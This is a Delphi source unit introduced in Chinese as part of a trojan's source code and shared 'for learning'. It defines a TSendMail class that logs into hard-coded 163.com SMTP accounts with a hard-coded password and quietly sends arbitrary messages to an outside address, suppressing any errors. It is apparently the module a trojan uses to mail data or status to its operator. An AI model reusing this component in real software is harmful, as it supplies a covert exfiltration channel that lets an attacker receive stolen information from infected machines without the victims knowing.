unitsendmail.pas

一个木马的源程序。希望大家可以一起通过它来学习一此东西

unit UnitSendMail;

interface

uses Windows,IdMessage, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdMessageClient, IdSMTP;

type
  TSendMail= class
  private
    msg:TIdMessage;
    smtp:TIdSMTP;
    HostName:array[1..10] of string;
    FromAddress:array[1..10] of string;
  public
    constructor Create;
    destructor Destroy; Override;
    function SendMail(ToAddress,Subject,Content:String):Boolean;
  end;

implementation

constructor TSendMail.Create;
var
n,nh,L:integer;
Username:String;
mailname,mailhost:string;
begin
Randomize;
n:=Random(5)+1;
n:=1;

HostName[1]:='smtp.163.com';

mailname:='mailsender200';
mailhost:='@163.com';

FromAddress[1]:=mailname+'10'+mailhost;
FromAddress[2]:=mailname+'6'+mailhost;
FromAddress[3]:=mailname+'7'+mailhost;
FromAddress[4]:=mailname+'8'+mailhost;
FromAddress[5]:=mailname+'9'+mailhost;

msg:=TIdMessage.Create(nil);
smtp:=TIdSMTP.Create(nil);

nh:=1;

L:=pos('@',FromAddress[n]);
Username:=copy(FromAddress[n],1,L-1);

smtp.Host:=HostName[nh];
smtp.Username:=Username;
smtp.Password:='8888888888';
msg.From.Address:=FromAddress[n];
smtp.AuthenticationType:=atLogin;
end;

destructor TSendMail.Destroy;
begin
msg.Free;
smtp.Free;
end;

function TSendMail.SendMail(ToAddress,Subject,Content:String):Boolean;
begin
msg.Recipients.EMailAddresses:=ToAddress;
msg.Subject:=Subject;
msg.Body.Text:=Content;
try
  try
    smtp.Connect(5000);
    smtp.Send(msg);
  EXCEPT
  end
finally
    smtp.Disconnect;
end;

end;

end.